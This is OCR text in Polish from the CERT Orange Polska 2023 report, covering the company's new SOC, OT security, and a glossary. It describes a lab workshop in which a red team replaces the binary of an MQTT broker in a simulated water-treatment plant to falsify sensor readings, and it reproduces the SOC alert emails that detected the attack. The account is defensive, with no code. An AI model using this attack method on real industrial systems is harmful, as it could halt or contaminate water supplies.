od 2012 roku najpierw otworzyto nam szeroko oczy
na to, z jakim poziomem zagrozen musimy walczyc¢,
od razu istotnie wptywajgc na bezpieczenstwo
Orange Polska i naszych klientow.

14 lat doswiadczenia, budujacych swojag wiedze
analitykow, sprawdzone w boju procesy i procedury.
To nie mogto ujs¢ oczom os6b odpowiedzialnych

za cyberbezpieczenstwo w catej Grupie Orange.
Odnoszone przez lata mniejsze lub wieksze sukcesy
nie pozostawaty niezauwazone, az w koncu

w grudniu 2022 plany zaczety przybierac¢

realne ksztatty.

W grudniu 2022 OCD po raz pierwszy wysondowato
mozliwos$¢ wspdtpracy. Miesigc podzniej wystannicy
Orange Cyberdefense odwiedzili nasze Security
Operations Center w Warszawie. Zaledwie trzy miesigce
poézniej podpisano kontrakt. Biorac pod uwage fakt,

iz mamy do czynienia z duzg firmg o $wiatowym zasiegu

oraz z delikatng materig cyberbezpieczenstwa - to wyjatkowo

krétki czas, dowodzacy uznania dla doswiadczenia
i jakosci pracy ekspertéw naszego SOC.

Potem sprawy nieco zwolnity — to jednak juz efekt
procedur, ktérych omingc¢ sie nie da. Chocby

ze wzgledow... bezpieczenstwa wtasnie. Szkolenie,
wdrozenie, zapoznanie zespotu, zmiany biznesowe
i wreszcie, w korncéwce ubiegtego roku, osiagniecie
gotowosci operacyjnej. Poczagtkowo SOC OCD

w trybie wdrozenia dziatat jeszcze z przerwami,

by od poczatku stycznia przej$¢ na standardowy
dla tego typu jednostek tryb pracy 24/7/365.

SOC OCD to drugie Centrum Operacji Bezpieczenstwa

w naszych strukturach (i jedna z 14 tego jednostek

w strukturach OCD, okreslanych rowniez jako CyberSOC).
Centra Operacji Bezpieczenstwa dziatajgce w ramach Orange

Cyberdefense tworza sie¢ wymieniajaca na biezaco informacije.

Nasi koledzy wspotpracuja gtéwnie z zespotami ze Szweciji

i Niemiec. Zatoga SOC OCD kieruje Maciej Podsiadty, od ponad
10 lat zwigzany z praca w Security Operations Center.

Autor kilku publikacji dotyczacych analiz sieciowych.

Na czym polega praca zespotu? Na analityce, analityce
i jeszcze raz analityce. Klienci komercyjni z catej Europy
w wyniku szczegotowej, pochodzacej z wielu systeméw
(m.in. Splunk, Vectra Al, Cybereason, MS Defender,
Palo Alto Cortex XDR) analizy przetworzonych zdarzen,
otrzymuja na koniec szczegétowe rekomendacie,

co zrobi¢, by sytuacja sie nie powtorzyta.

Przez lata dziatania naszego ,lokalnego” SOC,
wypracowali$my szereg proceséw i procedur,
zbierajgc olbrzymie doswiadczenie. Gdy trzeba
bedzie zareagowac, zrobimy to szybko i skutecznie.

Orange Cyberdefense to podmiot Grupy Orange Swiadczacy
ustugi z zakresu cyberbezpieczenstwa. Obstuguje

8700 klientéw na catym swiecie. Jako europejski lider,

stara sie budowac bezpieczniejsze spoteczenstwo cyfrowe.
Potencjat ustug zawdziecza badaniom

i inteligentnym rozwigzaniom, co pozwala oferowac klientom
wyjatkowa wiedze na temat obecnych i przysztych zagrozen.
Dzieki ponad 25-letniemu doswiadczeniu w dziedzinie
bezpieczenstwa informacji, 3 000 ekspertow, 18 centrom
bezpieczenstwa (SOC) i 14 centrom cyberbezpieczenstwa
(CyberSOC) zlokalizowanym w réznych czesciach swiata
wie, jak rozwiazywac globalne i lokalne problemy klientow.
Chroni ich na wszystkich etapach zagrozenia w ponad

160 krajach.

cyberbezpieczenstwo w stuzbie

ciagtosci dziatania OT

Dzi$ cyberbezpieczenstwo w Operational
Technology (OT) jest bardzo istotnym tematem.
Jednak czy dopiero dzisiaj? Tak, poniewaz wczesniej
moéwito sie o poufnosci tylko po stronie IT (Information
Technology), po stronie OT wszyscy koncentrowali
sie na dostepnosci i zapewnieniu ciagtosci dziatania,
najczesciej w produkcji. Separowano technologie
przemystu $cianami, za ktore wstep mieli tylko
inzynierowie, automatycy w specjalnych uniformach.
Ten kierunek zmienit sie, kiedy w grudniu 2015 roku
miat miejsce atak cybernetyczny na elektrownie
jadrowa na Ukrainie, ktéry spowodowat utrate
zdalnego dostepu do systeméw monitorowania

i sterowania. Cho¢ incydent nie spowodowat
powaznych konsekwencji w postaci awarii

czy promieniowania, uswiadomit nam, ze podatnos$¢
infrastruktury krytycznej na ataki cybernetyczne

i zagrozenie ze strony cyberprzestepcéw staje sie
realne. Wiele instytucji zdaje sobie sprawe

z koniecznosci ochrony systemoéw OT, a nie tylko IT,
dlatego mowi sie coraz wiecej o regulacjach takich
jak norma IEC 62443, w Europie o dyrektywie Network
and Information System, w Polsce probujemy

to regulowac¢ w Ustawie o Krajowym Systemie
Cyberbezpieczenstwa.

Kazdy z integratoréw i dostawcédw ustug ICT na rynku
tworzy zespoty ztozone z ekspertow bezpieczenstwa OT.
Niektorzy zatrudniajg wyspecjalizowanych wczesniej
automatykow, z diugoletnim doswiadczeniem

w utrzymaniu parkéw produkeyjnych, ktérzy dalej zyja

w przekonaniu, ze IT to ta druga strona mostu. Wazne,

aby te zespoty skupity sie nie tylko na implementaciji
technicznych rozwigzan, lecz takze na zrozumieniu specyfiki
Srodowisk OT oraz ich unikalnych wyzwan zwigzanych

z bezpieczenstwem.

Szacuje sie, ze na Swiecie jest ponad 7000 jezykdw,

ktorymi ludzie postuguja sie w celu komunikacii.

Dzi$ najbardziej popularng formg komunikacji alternatywnej
jest internet. Za jego posrednictwem kontaktujemy sie

z rodzing, stuzbowo i z urzedami. Internet jest oparty

na protokotach komunikacyjnych w sieciach IT, ktérych
wiekszos$¢ z nas nie rozumie. Podobnie bywa z komunikacjg
na specyficznych protokotach OT, ktéra nawet

dla srodowiska IT jest czesto niezrozumiata.

Jak pogodzi¢ te dwa $wiaty, jak potaczy€ ich jezyki,
aby poznac ryzyka zwigzane z ciggtoscig dziatania firmy?

Cyberbezpieczenstwo w OT to nie tylko kwestia technologii,
ale takze procesow, ludzi i kultury organizacyjnej.

Wtasciwe podejscie powinno obejmowac:

Zrozumienie potencjalnych zagrozen dla systemow
oraz ich wptywu na dziatalnos$¢ firmy.

Identyfikacje, ocene i zarzadzanie ryzykiem
zwigzanym z cyberzagrozeniami w kontekscie OT.
Szkolenie pracownikéw na temat cyberbezpieczenstwa,
w tym budowanie Swiadomosci zagrozen i praktyk
bezpiecznego zachowania.

Zapewnienie, ze dostawcy i partnerzy biznesowi
przestrzegajg odpowiednie standardy bezpieczenstwa.
State monitorowanie systemow OT i sieci IT w celu
szybkiego wykrywania i reagowania na potencjalne
zagrozenia lub incydenty, ktére posrednio

lub bezposrednio majg wptyw na ciggtos¢ biznesowa.
Kiedy wiemy juz jakie mamy zagrozenia, jakie
incydenty pojawiajg sie w naszej sieci musimy miec
potrzebe statego doskonalenia procesu opartego

na analizie wtasnych incydentéw i aktualnych

zagrozen w cyberprzestrzeni.

W lutym 2024 roku na polskiej konferencji poswiecone;j
tematyce cyberbezpieczenstwa w stuzbie ciggtosci
dziatania OT razem z Andrzejem i zaproszonym zespotem
redteamingowym i analitykami SOC przedstawili$my
uczestnikom naszej prelekcji i warsztatow jak ustugi
outsourcingu monitorowania cyberbezpieczenstwa

w zakresie sieci IT i OT mogg pomoc kluczowym
operatorom ustug w naszym kraju.

Oprocz przedstawionych zatozen i korzysci

wynikajacych z ustugi przestawili§my laboratorium OT,
ktore stworzyliSmy w Orange Polska. To miejsce, o ktdérym
pisali§my juz w naszym poprzednim raporcie CERT Orange
Polska, gdzie nasi klienci moga powierzyé nam stworzenie
proceséw na bazie infrastruktury OT w swoich firmach.

Po kilku dniach intensywnych przygotowan pokazaliSmy
uczestnikom warsztatéw srodowiska przejete przez
cyberprzestepcédw i zaktdcenie parametréow czytanych
przez SCADA. W rezultacie doszto do uruchomienia
proceséw awaryjnych i zaktdcenia procesow produkcyjnych.
Celem specjalistéw wdrazajgcych i $wiadczgcych ustugi
monitorowania cyberbezpieczenstwa byta identyfikacja
zagrozenia po stronie IT, nastepnie po stronie OT.
Mechanizmy korelacji w SIEM potgczyly te dwa $wiaty

i powiadomity o incydencie krytycznym.

cert.orange.pl
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Na czym polegat atak?

Korelacja zdarzen zaréwno z IT i OT jest niezbednym
elementem podniesienia poziomu cyberbezpieczenstwa
w kazdej infrastrukturze krytycznej, gdzie taczg sie

dwa Swiaty IT i OT. Nasz LAB OT i lloT pozwala

na elastyczng konfiguracje pod katem danej branzy
obszaru OT. Na potrzeby warsztatéw dostosowalismy
nasz LAB OT, tak by powstaty 3 procesy OT, miedzy
ktérymi byta wymiana danych. Na podstawie tych danych
nasze nowo powstate przedsiebiorstwo z branzy
wod-kan i uzdatniania wody dla duzego miasta mogto
realizowac swoje zadania. StworzyliSmy infrastrukture
krytyczng, szczegdtowo zaplanowali$my cyberatak.
Stworzyli$my 3 niezalezne procesy OT. Proces OT1
odpowiada za dostarczenie odpowiedniej ilosci substratéw
ptynnych miedzy innymi do (zmiekczania, demineralizaciji
filtracji dezynfekcji chemicznej itd.). Proces OT2,
bezposrednio dostarcza wode odpowiednio uzdatniong
dla miasta. Dla naszego przypadku zatozyli$my, ze proces
OT1 bedzie dostarczat chemiczne srodki do chlorowania
wody. Natomiast proces OT3 oparty na infrastrukture
rozproszong lloT, bedzie odpowiadat za parametry
$rodowiskowe i chemiczne niezbedne dla prawidtowej
pracy procesu OT2 czyli bezposredniej produkcii

wody dla miasta.

Proces OT1 i OT2 zaimplementowany zostat w naszych

sterownikach PLC renomowanych $wiatowych producentéw.

System SCADA powstat na bazie jednego z najwiekszych
dostawcéw systemédw HMI/SCADA na $wiecie. Infrastruktu
rozproszona lloT sktadata sie z modeméw/gateway 4G
zbierajgcych dane srodowiskowe oraz routerow 4G/5G.
Zastosowali$my rowniez najbardziej popularne i stosowane
w automatyce protokoty przemystowe wspomne tutaj
chociazby o Modbus TCP, Profinet, EtherCAT czy MQTT.
Dla naszego ataku wybraliémy bardzo popularny i dobrze
rokujacy protokét MQTT. Gtéwnym elementem
odpowiadajgcym za wtasciwg komunikacje w tym
protokole odpowiada Broker MQTT. Funkcjonalnos$¢
Brokera dostepna jest juz zaréwno na niektorych
sterownikach PLC, jak i na routerach, modemach.

Bardzo popularng i ogdlnie dostepna jest technologia
Brokera MQTT Mosquitto. Do celéw naszej transmisji
wykorzystali$my router znanej marki Swiatowej

popularnej na naszym rynku,

ze wspomnianym Brokerem.

Podczas tworzenia scenariusza ataku z Redteamem,
mielismy kilka mozliwosci. ChcieliSmy podmieni¢
wartosci parametrow fizycznych z rozproszonych
czujnikow, takich jak temperatura, wilgotnosc,
poziom stezenia CO2, aby proces OT2 zaczat
pracowaé w trybie awaryjnym (odstawienia produkciji),
aby do minimum zmniejszy¢é produkcje wody

dla miasta. Mogli$my podmieni¢ dane bezposrednio
na gateway’ach podtgczonych bezposrednio

do czujnikéw, ale wigzato sie to z ingerencjg

w prywatny APN, w ktérym te wszystkie czujniki
pracowaty, mogliémy ingerowaé¢ bezposrednio

w sterowniki PLC i zaburzy¢ ich proces
sterujgco-kontrolny. Wybraliémy jednak metode

CERT Orange Polska

prostg i jak najmniej ingerujaca w cata infrastrukture
naszych procesow OT, zaatakowali$my procesy
wewnetrzne samego Brokera Mosquitto zaimplemen-
towanego w routerze. Przygotowali§my odpowiednio
spreparowang binarke, ktéra podmienia wartosci

z czujnikdw na wartosci krytyczne. Nastepnie sam

Broker wysle odpowiednie wiadomosci do subskrybentow
MQTT. Miejsce ataku jest bardzo optymalne, mamy dostep
do czystych danych, nie ma znaczenia czy uzyliSmy
protokotu MQTT z szyfrowaniem TLS. Dodatkowo
wykorzystali$my istniejace hosty, nie tworzylismy

nowych ze wzgledu na bezpieczenstwo, to co nas

moze wykry¢ to uzycie nowych protokotow wczesniej

nie uzywanych. Ustalilismy cel ataku, przygotowalismy
catg procedure przedostania sie z zewnatrz do naszej
infrastruktury. W naszym LAB-ie zbudowalismy czes¢
biurowa infrastruktury IT wraz z serwerem AD i parg staciji
roboczych biurowych. Korzystamy przy tym z monitoringu
naszego NG SOC Orange. Chcieli$my na biezaco informowaé
osoby odpowiedzialne o pojawiajgcych sie incydentach

W naszej - stworzonej na potrzeby warsztatéw,
infrastrukturze. NG SOC dzieki SIEM potrafit potgczy¢

z pozoru btahe zdarzenia w obszarze IT ze zdarzeniami

z obszaru OT i na tej podstawie je skorelowac,
poinformowac o przeprowadzonym na infrastrukture
ataku. Ponizej schemat naszej infrastruktury

oraz wizualizacja SCADA prezentujgca wspomniane
procesy OT1, OT2, OT3 -lloT.
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SOC cyberbezpieczenstwo w stuzbie ciggiosci dziatania OT

Na schemacie ponizej czerwonymi liniami zaznaczono
kolejnos¢ i przebieg ataku.
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Nasz system brzegowy UTM pracowat w trybie monitoringu,
tak aby zarejestrowac infiltracje z zewnatrz nie blokujgc

jej, dodatkowo w czesci procesu OT1 zainstalowany

zostat system IDS, ktéry monitorowat caty ruch w segmentach
procesow OT1/0T2/OT3-lloT. System UTM, jak rowniez

IDS przesytaty logi z wykrytych zdarzen protokotem Syslog

do naszego SIEM i NG SOC.

cert.orange.pl



Raport CERT Orange Polska 2023

Incydent w sieci OT dotyczacy
ustugi kluczowej
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Next Generation

NG SOC na biezaco korelowat logi z naszych
systeméw bezpieczenstwa i informowat nas
wysytajac maile z opisem zdarzenia. Caty proces
to czas ponad 30 min. oczywiscie z wyjasnieniami
co w danej chwili jest realizowane, niemniej sam
atak mégt trwac¢ do 10 min.

Otrzymali$my nastepujace komunikaty z SOC
(ilo$¢ informacji w komunikatach zostata
zminimalizowana na potrzeby warsztatow)

w kolejnosci chronologiczne;j:

Obszar IT Obszar OT

Jod: 272 80C O-PUHurt pd 222 S0C O-PUHut

Wystano: cawartek, 29 lutego 2024 1735 Wystano: czwartsk, 23 lulego 2024 17 38
Da: MACIEJAK Andrzej Ext O-PL/Detal Do: MACIEJAK Andrze| Ext O-PLIDetal

Temat  [LAB] F02-BackdoorDetected Temat  [LAB] IDS01-SshConnectionEstablished

We have recorded events indicaing a potencial backdoor detecled

Time: 29 Feb 2024 17:34:15 CET
Time: 29 Feb 2024 17:27.26 CET Device Address: 126.179.78 216
Device Host Mame: iSID
Device Address: 126.185.99.101 D: 143
Device Host Name: Fori_LAB_OT Service: SSH
Severiy. cical Source Address: 192.169.120 50
Source Mac Address: 68-ED-AG-03-96-1D
Source Address: 192.168.130 50
Source Port 50516 Source Name: DESKTOP-AE4BCNG.
Source Vendor: Others
Destination Address: 217.182.76.45 Source Type: HMI
Destination Port 8080
Desénaion Address: 192 168 120 20
Session ID: 1148082 Destanbon Mac Address: 20-97-27-01-8D-4A

Event Type: signature

Profle: LAB_OT base Deséinabon Name: 192 168 120 20

Destination Vendor: Others
Destination Type: 10T

Please verffy wheher this consktutes a security incident and provide feedback.  Please verify whether tis constites a securiy incident and provide feedback

Korelacja IT i OT

bd: 7z S0OC O-PLHurt

Wystano: czwartek, 29 lutego 2024 17:37

Do: MACIEJAK Andrzej Ext O-PL/Detal
Temat  [LAB] IDS-F-CorrelatedEvent

We recorded correlated events indicating an IPS and IDS attack.
Time: 29 Feb 2024 17:34:15 CET

Correlated Rules: IDS01-SshConnectionEstablished|F02-BackdoorDetected

Please venfy whether this constitutes a secunty incident and provide feedback

SOC cyberbezpieczenstwo

Podsumowanie

Otrzymali$my trzy maile, gdzie dopiero ten ostatni,
wyraznie informuje nas, ze zostaliSmy zaatakowani.
Oczywiscie w ramach warsztatow nie czekali$my,

tylko od razu zostat wykonany ztosliwy kod w Mosquitto.
Po paru sekundach otrzymalismy informacje ze SCADA,
ze wartosci z czujnikdw przekroczyly krytyczne poziomy.
Automatyka, jak réwniez SCADA zachowaly sie zgodnie
z zatozeniami. Wygasity proces OT2 produkcji wody dla
miasta, poniewaz grozito to skazeniem wody substancjami
chemicznymi do dezynfekcji. Niestety miasto nie otrzyma
odpowiedniej ilosci wody co pozbawia tysiecy oséb
dostepu do wody. W realnym scenariuszu atak podmiany
wartosci moze by¢ przeprowadzony bardziej finezyjnie
nie wzbudzajgc alarmu, natomiast woda moze by¢
produkowana z zawyzonymi zawarto$ciami chemicznymi.
To moze spowodowac zatrucie tysiecy oséb w ciggu wielu
dni czy tygodni. Ogromna skala zagrozenia. To tylko
przyktad prostych alertéw od SOC, ktéry w ramach ustugi
Next Generation SOC otaczamy specjalng procedurg

i szczegdtowo przedstawiamy zakres notyfikacji

oraz rekomendacje dziatan dla klienta.

Dzieki warsztatom i mozliwo$ciom LAB OT pokazali$my
jak dynamicznie zmienia sie koncepcja bezpieczenstwa
w $rodowiskach przemystowych. Cyberbezpieczernstwo
w OT to nie tylko kwestia technologii, ale takze procesow,
ludzi i kultury organizacyjnej. ldentyfikacja zagrozen, ocena
ryzyka, szkolenia pracownikéw, oraz monitorowanie
systemdw to kluczowe elementy wtasciwego podejscia
do tego zagadnienia. Zwiekszajace sie zagrozenia
cybernetyczne wymagaja ciggtego doskonalenia strategii
i procedur zwigzanych z cyberbezpieczenstwem,
zaréwno w obszarze [T, jak i OT.

Podkreslamy, ze

m wspotpraca pomiedzy zespotami IT i OT
oraz zrozumienie specyfiki obu $rodowisk
sg kluczowe dla skutecznej ochrony przed atakami
cybernetycznymi. Szkolenia pracownikéw
i monitorowanie systemoéw sg nieodzownymi
elementami strategii cyberbezpieczenstwa w OT.

m Skuteczna reakcja na incydenty cybernetyczne
wymaga wspotpracy oraz ciggtego doskonalenia
procedur.

" Realne scenariusze atakow pokazujg koniecznosé
ciggtego podnoszenia Swiadomosci i przygotowania
na ewentualne zagrozenia dla infrastruktury
krytycznej.

Whnioski ptyngce z analizy warsztatow stanowiag cenne
wskazdéwki dla organizaciji i instytuciji, ktore staraja sie
zwiekszyé poziom cyberbezpieczenstwa w obszarze OT.
Dziatania te sa niezbedne dla zapewnienia ciagtosci dziatania
oraz bezpieczenstwa osob korzystajgcych z ustug
infrastruktury przemystowej — zapraszamy do wspotpracy!

Rafat Wiszniewski,
Andrzej Maciejak
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Ucz sie z nami, jak lepiej chronic¢
swoja firme przed cyberatakami

Budowanie bezpieczniejszego spoteczenstwa cyfrowego nie jest mozliwe
w pojedynke, wymaga wysitku zespotowego. Osoby decyzyjne nie moga zwigkszy¢
bezpieczenstwa cyfrowego organizacji bez zaangazowania catej firmy.

Nasze Centrum Doswiadczen Cyberbezpieczennstwa miesci sie¢ w nowoczesnym

5G Labie w Miasteczku Orange w centrum Warszawy. StworzyliSmy je dla klientow,

aby mogli lepiej zrozumie¢ wyzwania dzisiejszej cyberprzestrzeni. Wykorzystujemy przy

tym wizualizacje i wprowadzamy reguty jak w grze decyzyjnej, aby w ciekawy sposob
zaprezentowac korzysci ptyngce z dtugoterminowej strategii w zakresie cyberbezpieczenstwa.

Koncentrujemy sie na osobach decyzyjnych w firmie i pomagamy im lepiej zrozumiec rézne
problemy, ale tez potrzeby zwigzane z budowaniem cyberodpornosci.

Cyberbezpieczenstwo
dla Twojej firmy

Nasi eksperci pomoga Ci w skutecznym zapobieganiu niebezpieczenstwom, wykrywaniu ich
i reagowaniu na nie. Zadbaja tez o cyberhigiene Twoich pracownikéw i beda Cie wspieraé
w doborze odpowiednich zabezpieczen.

Audyt organizacji

Rozpoznaj sytuacje, planuj dziatania.

Audyt organizaciji

m Okreslenie obecnego poziomu
bezpieczenstwa

m Wykaz dziatan koniecznych do wykonania

= Analiza ryzyka

Wykrywaj

Analiza

Sprawdz, gdzie masz problemy — zamow
skany podatnosci, testy penetracyjne.

m Zastosowanie zapasowego tacza
internetowego

Ochrona danych przed utrata

m Systemy do ochrony przed wyciekiem
danych - DLP

= Mechanizmy do odtwarzania danych
po awarii — Disaster Recovery

> Reaguj )

Usuwanie luk/wdrazanie

Przeanalizuj wykryte problemy, zaplanuj,
jak wzmocni¢ bezpieczenstwo.

Ochrona dostepu do sieci

m Rozwigzanie chronigce przed atakami
typu DDoS
m Urzadzenia brzegowe typu NGFW/UTM

Ochrona urzadzen koncowych

m Ochrona antywirusowa

m Mechanizmy szybkiego wykrywania
i blokowania zagrozen typu ransomware
-EDR

m Ochrona przed dostgpem do podejrzanych
stron WWW - CyberWatch

= Rozwigzanie do zarzadzania
bezpieczenstwem urzadzen mobilnych
- MDM

m Zarzadzanie uprzywilejowanym dostepem
do systemow zarzgdzania - PAM

m Dwuskfadnikowe uwierzytelnienie — 2FA

m Blokada niechcianych wiadomosci
—antyspam

Zarzadzaj

Monitoring bezpieczenstwa i zarzadzania incydentami

m System wykrywania i zbierania informacji
o incydentach bezpieczenstwa — SIEM

m Centralna platforma do automatycznego
zarzadzania réznymi systemami
bezpieczenstwa - SOAR

m Sprawdzanie luk bezpieczerstwa
w uzywanych aplikacjach - testy penetracyjne

m Skany podatnosci (ustuga dostepna réwniez
w ramach CyberPakietu)

m Security Operations Center - SOC

m Security Operations Center - SOC

m Zarzadzanie aktualizacjami aplikacji
— Vulnerability Management,
— Patch Management

m Sprawdzenie odpornosci pracownikow
na ataki hakeréw z uzyciem socjotechniki:
testy socjotechniczne (ustuga dostepna
réwniez w ramach CyberPakietu)

u Podnoszenie poziomu wiedzy pracownikéw
o cyberbezpieczenstwie — szkolenia (ustuga
dostepna réwniez w ramach CyberPakietu)
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Glosariusz

0-day - exploit, ktéry pojawia sie natychmiast
po informacji o podatnosci, dla ktérej nie zostata jeszcze
przygotowana poprawka.

2FA (ang. Two-factor authentication) — mechanizm
umozliwiajgcy zastosowanie dwuskfadnikowego

(lub dwuetapowego) procesu uwierzytelniania. Poza
standardowa parg danych potwierdzajgca tozsamose

w systemach (np. nazwa uzytkownika i hasto), mechanizm
ten [pozwala na wykorzystanie dodatkowej informacji
przesytanej np. wiadomosciag SMS lub uzycia urzadzenia
potwierdzajgcego tozsamos$é np. tokenu czy smartfonu
generujacego jednorazowy kod (Microsoft / Google
Authenticator). Z tego mechanizmu mozna korzystac

w najbardziej popularnych serwisach spotecznosciowych.

aaS (ang. as a service) — ,jako ustuga”; skrét odnosi sie

do modelu udostepniania zasobow ustugodawcy klientowi

w postaci ustugi. Taki model pozwala na unikniecie wielu
kosztownych inwestycji w sprzet. Mozna wymieni¢ tu kilka
najpopularniejszych stosowanych modeli: laa$S (Infrastructure
as a Service), SaaS (Software/Security as a Service), NaaS
(Network as a Service), MaaS (Malware as a Service) czy XaaS
(rozwigzanie nazwy ustugi zostawiamy czytelnikom).

Abuse - naduzycie; wykorzystanie niektérych mozliwosci
sieci internet niezgodnie z przeznaczeniem lub prawem.
W internecie do naduzy¢ zalicza sie m.in. ataki sieciowe,
rozsytanie spamu, wiruséw, nielegalnych tresci, phishing,
itp. Zespdt typu Abuse to jednostka odpowiedzialna

za przyjmowanie i rozpatrywanie zgtoszen dotyczacych
tego typu naduzyc.

Adres IPv4 (ang. IP address) — unikalny adres dla kazdego
urzgdzenia w danej sieci (LAN, WAN czy Internet),
pozwalajacy na jednoznaczng identyfikacje urzagdzenia
(trasy) w sieci na potrzeby routingu.

Adware (ang. advertising-supported software)

— oprogramowanie, ktérego podstawowym zadaniem

jest wyswietlanie reklam na urzadzeniu uzytkownika.
Czesto jest instalowane jako komponent podczas instalacji
innego oprogramowania. Czesto rowniez jest dodawane
do darmowego oprogramowania i instalowane bez wiedzy
i zgody uzytkownika. Ten typ oprogramowania moze
wyswietla¢ tresci zawierajace ztosliwy

kod - patrz Spyware.

Automatyzacja (definicja zaproponowana przez PWN)

- stosowanie urzadzen do zbierania i przetwarzania informaciji,
przejmujgcych pewne dziatania poznawcze, intelektualne

i decyzyjne cztowieka, wykonywane dotad przez niego

w trakcie uzytkowania obiektu (np. obrabiarki, samolotu,
banku) lub w trakcie prac twdrczych (np. projektowania,
uczenia).

Backdoor - ,tylne drzwi”; luka w zabezpieczeniach systemu
komputerowego, utworzona umysinie, w celu pdzniejszego
dostepu do systemu. Intruz moze utworzy¢ backdoora,
wiamujgc sie poprzez inng luke w oprogramowaniu

lub wykorzystujac uruchomienie trojana przez uzytkownika.

Glosariusz

Blackholing (ang. Blackhole -czarna dziura) — adresy
IP w sieci internet, w ktérych ruch sieciowy jest
neutralizowany, bez informowania adresata lub nadawcy.

Bot (od ang. robot) — zainfekowany i przejety komputer,
wykonujacy polecenia atakujacego.

Botnet - sie¢ potgczonych botdéw, zdalnie kontrolowana przez
atakujgcego. Botnety wykorzystywane sg najczesciej do
zmasowanych atakéw typu DDoS lub rozsytania spamu.

C&C (ang. Command and Control) servers — infrastruktura serw-
erdw zarzadzana przez cyberprzestepcdw, wykorzystywana do
zdalnego wysytania polecen i kontroli botnetdw.

CERT/CSIRT (ang. Computer Emergency Response Team,
Computer Security Incident Response Team) — zespdt
reagowania na zagrozenia komputerowe. Gtéwnym zadaniem
zespotu jest szybka reakcja na zgtaszane przypadki zagrozeni
naruszen bezpieczenstwa sieciowego. Prawo do uzywania
nazwy CERT maja wytacznie zespoty, spetniajace bardzo
wysokie wymagania potwierdzone uzyskaniem stosownego
certyfikatu tak, jak zespot CERT Orange Polska.

Certstream — serwis umozliwiajacy $ledzenie w czasie
rzeczywistym logdéw udostepnianych przez wystawcow
certyfikatéw. Dzieki niemu mozliwy podglad zdarzen
zwigzanych z nowymi i odnawianymi certyfikatami

np. dla stron internetowych.

CLI (Caller ID) spoofing polega na prezentowaniu odbiorcy
potaczenia gtosowego fatszywego numeru telefonicznego
osoby dzwonigce;j.

CyberTarcza — autorskie rozwigzanie Orange Polska,

ktore chroni klientéw sieci stacjonarnej oraz mobilnej przez
skutkami aktywnosci wrogiej aktywnosci w sieci Internet
(np. phishingu czy ztosliwego oprogramowania).

DDoS (ang. Distributed Denial of Service) — rozproszony

atak odmowy ustugi; atak sieciowy, polegajgcy na wystaniu
do atakowanego systemu takiej ilosci danych, ktérych system
ten nie bedzie w stanie obstuzyé. Celem ataku jest blokada
dostepnosci zasobow sieciowych. W przypadku DDoS

do ataku wykorzystywanych jest wiele komputeréw

i potaczen sieciowych, co odrdznia go od ataku DoS,

ktory korzysta z jednego komputera i jednego potgczenia
internetowego.

Opis rodzajow atakow DDoS:

= |P Fragmentation — atak polegajgcy na przesytaniu
przez atakujgcego duzych pakietéw (powyzej 1500 bajtow).
Zwazywszy na konieczno$¢ ponownego potgczenia
zdefragmentowanych pakietéw na urzadzeniu koicowym,
niezbedne jest wykorzystanie dodatkowych zasobdéw
procesora, co obcigza system komputerowy.

= Reflected DDoS - inaczej atak odbity, czyli metoda
wykorzystujaca podatnosci protokotéw w komunikacji
sieciowej. W celu wzmocnienia (amplifikacji) uzyte moga
by¢ podatnosci m.in. takich protokotéw jak UDP, DNS,
NTP czy CLDAP. Ataki typu Reflection/Amplification

cert.orange.pl
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(odbicie-wzmocnienie) zazwyczaj wykorzystujg protokot

UDP i ustugi, ktére nie weryfikuja zrodtowego adresu

IP przychodzgcych pakietéw (np. DNS, NTP). Atakujacy
najpierw generuje fatszywy pakiet ze zrodtowym adresem

IP wskazujgcym na ofiare (cel ataku) i wysyta go do tych

ustug (reflektor), co skutkuje duza odpowiedziag
(wzmocnieniem) wystang do ofiary.

= Ataki TCP Reflection/Amplification dziatajg w podobny
sposéb, wysytajac sfatszowane pakiety TCP SYN

do reflektora. Pomimo tego, ze rozmiar pakietu dostarczonego
do ofiary moze by¢ nieznacznie wiekszy od pakietu wystanego
przez atakujacego, bazujg na tym, ze reflektor moze wystaé
do ofiary wiele odpowiedzi SYN-ACK w krétkich odstepach
czasu, jesli nie otrzyma koricowego ACK uzgadniania,
powodujgc wzmochienie. Liczba oraz czestotliwos¢ wystanych
odpowiedzi (SYN-ACK) moze by¢ rézna w zaleznosci od
urzgdzenia i ustug, zalezna m.in. od uzywanego systemu
operacyjnego, ustawien konfiguracyjnych. Jednak retransmisja
moze ustac po otrzymaniu pakietu RST od ofiary w odpowiedzi
na zapytanie, ktérego nie byta inicjatorem. Z tego wzgledu

ta technika czesto jest wykorzystywana w atakach typu
carpet bombing polegajgcych na réwnoczesnym atakowaniu
wielu IP czy catych sieci/podsieci, a nie tylko pojedynczego IP.
W podsieci czesto znajdujg sie rowniez adresy IP,

ktore sg routowalne, ale nie obstugujg zadnych ustug

(wtedy nie odpowiedza pakietem RST badz ICMP).

= ICMP Flood - technika polegajgca na przestaniu
niestandardowej ilosci duzych pakietéw ICMP w celu
»Zalania” sieci komputerowej ofiary. Zazwyczaj przy tym

ataku wykorzystuje sie sie¢ przejetych urzadzen (botéw).

W wyniku operaciji, nastepuje ograniczenie przepustowosci
sieci i zablokowanie ustug.

s TCP SYN/TCP RST/ TCP ACK Flood - ataki

oparte na podatnosci three-way handshake, procedury
nawigzywania potgczenia wykorzystywanej w protokole TCP.
Zalewanie atakowanego hosta pakietami TCP z ustawiong
flaga synchronizacji (SYN), resetowaniem potaczenia (RST)
czy potwierdzenia (ACK). Przyktadowo w ataku SYN Flood
atakujgcy wysyta na porty TCP flage SYN, ktoéra stuzy

do inicjowania potgczenia pomiedzy hostem zrodtowym

a docelowym. Nastepnie, system atakowanego odpowiada
wiadomoscig SYN-ACK, ktéra otwiera port i czeka

na potwierdzenie nawigzania potaczenia — czeka na flage

ACK od atakujgcego. Flaga jednak nie jest przesytana,

przez co potaczenie nigdy nie jest ustanawiane, ale przez
okreslony czas ,,ofiara” oczekuje na potwierdzenie

co wykorzystuje jej zasoby.

DNS (ang. Domain Name System) - system nazw
domenowych; protokét przypisywania stownych nazw
cyfrowym adresom IP. System ten zostat stworzony dla wygody
uzytkownikéw internetu. Sie¢ internet dziata w oparciu o adresy
IP, a nie nazwy domen, dlatego wymaga systemu DNS

do odwzorowywania nazw domen w adresy IP.

DNS sinkhole — serwer DNS, ktdry przekazuje fatszywe
informacje, uniemozliwiajgc potgczenie z docelowag
strong internetowa. Wykorzystywany do detekcji oraz
blokowania ztosliwego ruchu w sieci.

Domena internetowa (ang. Internet domain name)

— przestrzen adreséw (zasobow) zwigzanych z dang
organizacjg. Nazwa domeny jest elementem uzywanym
